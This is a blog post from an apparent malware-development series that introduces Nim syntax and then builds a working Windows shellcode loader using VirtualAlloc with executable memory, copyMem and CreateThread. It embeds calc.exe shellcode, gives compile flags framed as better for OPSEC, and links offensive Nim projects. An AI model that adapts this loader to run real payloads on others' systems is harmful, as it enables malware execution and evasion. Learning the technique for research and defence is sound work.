Malware Development 17 - Introduction to offensive Nim
2024-10-5 08:0:0 Author: d3ext.github.io(查看原文) 阅读量:17 收藏

pic

Hi there!

Some days back I thought about learning a new language that could was powerful, lightweight, modern and easy to learn. Finally, I decided that Nim was the language I was looking for. As the official page says: Nim is a statically typed compiled systems programming language. It combines successful concepts from mature languages like Python, Ada and Modula. It’s able to generate executables supported on all major platforms like Windows, Linux, BSD and macOS. One of its most important features are its deterministic and customizable memory management (with destructors and move semantics) and the greatly reduced size of the executables it’s able to generate. Furthermore, it also has a generally elegant syntax with lots of different local types and statements. Putting this together, I realized that it’s a perfect language to learn for cybersecurity purposes.

pic

In this post I won’t cover everything this language has but I will focus on the basic syntax that will allow us to create a basic program capable of loading shellcode using one of the most common technique which follows VirtualAlloc –> WriteProcessMemory –> CreateThread. This said, just take this post as an introduction to offensive Nim.

Before starting with the main explanation it’s crucial to highlight the fact that Nim is based on indentation in the same way as Python (among others) does. This means that the code must be indendated in order to be properly parsed by the compiler. It’s also important to note that Nim has a lot (even too much) statements, custom functions and features that most programming languages doesn’t so at first it may be a little bit tricky to use, but once you known how it works you will take advantage of it. And believe me it’s worth it.

Let’s start with the most basic things that one must know when learning a new language.

Single line comments are written like this:

Meanwhile multi-line comments are written like this:

1
2
3
4
5
6
#[

This is a comment,
this still is a comment

]#

Defining variables

Nim has multiple ways and words to define variables depending on your needs:

1
2
3
4
5
6
7
8
9
10
11
12
13
var x, y: int # declares x and y to have the type int

var # declare (and assign) variables
  my_variable: string = "this is a string"
  number: int = 7
  name = "John" # declare variable without data type (Nim compiler is smart enough)

let # declare (and assign) immutable variables (its value is evaluated during runtime)
  pi: float = 3.14
  truth: bool = true
  
const # declare (and assign) immutable variables (its value is evaluated during compile time)
  nSize: int = 4

If you want to understand better the difference between var, let and const take a look at this post

It’s also important to mention that the syntax is totally flexible so you can define a variable without assigning it a value, as well as you can define a variable and assign it a value without specifying the data type (e.g. string). You can also define a variable in a single line like this: let city: string = "London"

Data types

Nim has all typical data types like strings, integers, floats, chars, arrays and more

1
2
3
4
5
6
7
8
9
10
11
12
13
string
int
float
char
array
seq
tuple
int8
int16
int32
int64
float32
float64

Integers can also have 0[xX], 0o, 0[Bb] prepended to indicate a hex, octal, or binary literal, respectively. Underscores are also valid in literals, and can help with readability.

1
2
3
4
let
  a: int8 = 0x7F # Works
  b: uint8 = 0b1111_1111 # Works
  d = 0xFF # type is int

If, else and while

In this aspect, Nim is really similar to other languages.

1
2
3
4
5
6
7
8
var i: int = 1

if i == 5:
  echo "Equal"
elif i < 5:
  echo "Lower"
else:
  echo "Higher"

There also is a different statement from if which is when. It basically works in the same way but with some differences:

  • Each condition must be a constant expression since it is evaluated by the compiler.
  • The compiler checks the semantics and produces code only for the statements that belong to the first condition that evaluates to true.

The when statement is useful for writing platform-specific code, similar to the #ifdef construct in C.

1
2
3
4
5
6
7
8
when system.hostOS == "windows":
  echo "running on Windows!"
elif system.hostOS == "linux":
  echo "running on Linux!"
elif system.hostOS == "macosx":
  echo "running on Mac OS X!"
else:
  echo "unknown operating system"

Loops

There is not much to say about loops as it’s basically almost the same in any language.

1
2
3
4
5
6
7
8
for i in 1..10: # iterate from 1 to 20
  echo i

while true:
  echo "looping forever"

for index, item in ["a", "b", "c"]:
  echo item, " at index ", index

Nim also has the statements continue and break to continue until next loop iteration and to exit from loop, respectively

Data structures

The arrays in Nim are like classic C arrays, their size is specified at compile-time and cannot be given or changed at runtime. Meanwhile, sequences (seq) provide dynamically expandable storage.

1
let names: array[3, string] = ["Jasmine", "Ktisztina", "Kristof"]

1
2
3
4
5
6
var drinks: seq[string] = @["Water", "Juice", "Chocolate"]

drinks.add("Milk")

if "Milk" in drinks:
  echo "We have Milk"

For instance, the sequences will be useful when defining our shellcode on the program we will create later.

You can also create tuples with multiple fields:

1
2
var child: tuple[name: string, age: int]
child = (name: "John", age: 22)

Data types

As other languages, Nim also allows you to create your own data types

1
2
3
4
5
6
type
  Name = string
  Age = int
  Cash = int

var guest: Name = "John"

For example, in our case we will use the statement cast to convert data types (e.g. from integer to pointer) when calling the Windows API. We will take a look at this later.

Procedures

The procedures must contain the parameters they expect as well as the type of variable they return. The procedure starts after the = symbol. Normally, you would use return to return a value. However, Nim has a special variable which is supossed to be returned in case no other variable is returned. This is the variable result

1
2
3
4
5
proc fibonacci(n: int): int =
  if n < 2:
    result = n
  else:
    result = fibonacci(n - 1) + (n - 2).fibonacci

Here you have another example to show how flexible it is:

1
proc greaterThan32(n: int): bool = n > 32

Common packages to import

Here I will provided a list of useful Nim packages that are often imported.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
os
winim
regex
random
serial
math
httpclient
uri
htmlparser
base64
md5
sha1
tempfiles
psutil
shell
nimcrypto
hashlib
chroma
http-utils
chronicles

For more packages and awesome resources, see here

Special features and more

This language is pretty flexible and powerful due to its insane amount of statements and operators so now I will cover some points that one may not understant at all when learning Nim at first

  • isMainModule

1
2
when isMainModule:
  doSomething()

What does that isMainModule really mean? It’s basically detecting whether it is being called directly as a program itself or being used as a library. That may be useful for example, to create a function which takes care of injecting shellcode on a remote process (which can be also used as a library) but if it’s compiled as the main file, then it will execute the statements inside that block.

  • discard

1
discard WaitForSingleObject(tHandle, -1)

Nim warns you if there are values that are define but not being used. That is why there also is a statement like discard, to call a function but without taking care of the return value

  • defined()

1
2
when defined(windows):
  doSomething()

The procedure defined() is a built-in feature which allows us to check if a certain constant or symbol was given during compilation. This is usually used to check the OS in which the program will run, to perform one operation or another.

In order to be able to use the Windows API, we have to import the native winim library. It will provide us direct access to functions like VirtualALloc or WriteProcessMemory.

First of all we start by importing the package as mentioned:

Then we define the main function where all our malicious stuff will be:

1
proc loadShellcode(shellcode: openarray[byte]): void =

And once we have done this, we have to call the Windows API function as it is defined. In our case we start by calling VirtualAlloc:

1
2
3
4
5
6
LPVOID VirtualAlloc(
  [in, optional] LPVOID lpAddress,
  [in]           SIZE_T dwSize,
  [in]           DWORD  flAllocationType,
  [in]           DWORD  flProtect
);

That would be translated to Nim like this:

1
var mem = VirtualAlloc(nil, len(shellcode), MEM_COMMIT, PAGE_EXECUTE_READ_WRITE)

Having this in mind, we continue by copying the shellcode to the memory allocated before using memCopy (we could have also used WriteProcessMemory instead):

1
2
3
4
5
void CopyMemory(
  _In_       PVOID  Destination,
  _In_ const VOID   *Source,
  _In_       SIZE_T Length
);

1
copyMem(mem, shellcode[0].addr, len(shellcode))

After this, we execute our shellcode using the CreateThread function:

1
2
3
4
5
6
7
8
HANDLE CreateThread(
  [in, optional]  LPSECURITY_ATTRIBUTES   lpThreadAttributes,
  [in]            SIZE_T                  dwStackSize,
  [in]            LPTHREAD_START_ROUTINE  lpStartAddress,
  [in, optional]  __drv_aliasesMem LPVOID lpParameter,
  [in]            DWORD                   dwCreationFlags,
  [out, optional] LPDWORD                 lpThreadId
);

1
var tHandle = CreateThread(nil, 0, cast[LPTHREAD_START_ROUTINE](mem), nil, 0, cast[LPDWORD](0))

And finally we take care of closing the thread and waiting for the shellcode to execute

1
2
3
BOOL CloseHandle(
  [in] HANDLE hObject
);

1
defer: CloseHandle(tHandle)

1
2
3
4
DWORD WaitForSingleObject(
  [in] HANDLE hHandle,
  [in] DWORD  dwMilliseconds
);

1
discard WaitForSingleObject(tHandle, -1)

</br>

Finally our code is complete

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import winim/lean

proc loadShellcode(shellcode: openarray[byte]): void =
  var mem = VirtualAlloc(nil, len(shellcode), MEM_COMMIT, PAGE_EXECUTE_READ_WRITE)
  copyMem(mem, shellcode[0].addr, len(shellcode))
  let tHandle = CreateThread(nil, 0, cast[LPTHREAD_START_ROUTINE](mem), nil, 0, cast[LPDWORD](0))
  defer: CloseHandle(tHandle)
  discard WaitForSingleObject(tHandle, -1)

when isMainModule:
  # calc.exe shellcode
  var shellcode: seq[byte] = @[byte 0x50, 0x51, 0x52, 0x53, 0x56, 0x57, 0x55, 0x6a, 0x60, 0x5a, 0x68, 0x63, 0x61, 0x6c, 0x63, 0x54, 0x59, 0x48, 0x83, 0xec, 0x28, 0x65, 0x48, 0x8b, 0x32, 0x48, 0x8b, 0x76, 0x18, 0x48, 0x8b, 0x76, 0x10, 0x48, 0xad, 0x48, 0x8b, 0x30, 0x48, 0x8b, 0x7e, 0x30, 0x3, 0x57, 0x3c, 0x8b, 0x5c, 0x17, 0x28, 0x8b, 0x74, 0x1f, 0x20, 0x48, 0x1, 0xfe, 0x8b, 0x54, 0x1f, 0x24, 0xf, 0xb7, 0x2c, 0x17, 0x8d, 0x52, 0x2, 0xad, 0x81, 0x3c, 0x7, 0x57, 0x69, 0x6e, 0x45, 0x75, 0xef, 0x8b, 0x74, 0x1f, 0x1c, 0x48, 0x1, 0xfe, 0x8b, 0x34, 0xae, 0x48, 0x1, 0xf7, 0x99, 0xff, 0xd7, 0x48, 0x83, 0xc4, 0x30, 0x5d, 0x5f, 0x5e, 0x5b, 0x5a, 0x59, 0x58, 0xc3]

  loadShellcode(shellcode)

In order to compile our Nim code we will do it like this:

1
$ nim --os:windows --cpu:amd64 --gcc.exe:x86_64-w64-mingw32-gcc --gcc.linkerexe:x86_64-w64-mingw32-gcc -d:release c main.nim

pic

In case you want to reduce the executable size and its sections (which is better for OPSEC) you may do it like this:

1
$ nim --os:windows --cpu:amd64 --gcc.exe:x86_64-w64-mingw32-gcc --gcc.linkerexe:x86_64-w64-mingw32-gcc -d:release -d:strip --opt:size c main.nim

Now let’s transfer our EXE to a Windows system to see if it works properly

pic

As we see it works and a calc.exe window has spawned

Here you have a list of references that may be useful to you

1
2
3
4
5
6
7
8
9
10
11
https://nim-lang.org/
https://github.com/byt3bl33d3r/OffensiveNim
https://nim-by-example.github.io/hello_world/
https://github.com/chvancooten/maldev-for-dummies
https://github.com/chvancooten/NimPlant
https://github.com/adamsvoboda/nim-loader
https://github.com/sh3d0ww01f/nim_shellloader
https://github.com/frkngksl/NiCOFF
https://github.com/nim-lang/nimble
https://github.com/kensh1ro/syscall_nimject
https://github.com/TunnelGRE/XOR_NIM_Inject

I hope this post have been useful to you. We have learned the basics of Nim and how we can approach them to create a really simple shellcode loader.

Source code here

Go back to top


文章来源: https://d3ext.github.io/posts/malware-dev-17/
如有侵权请联系:admin#unsafe.sh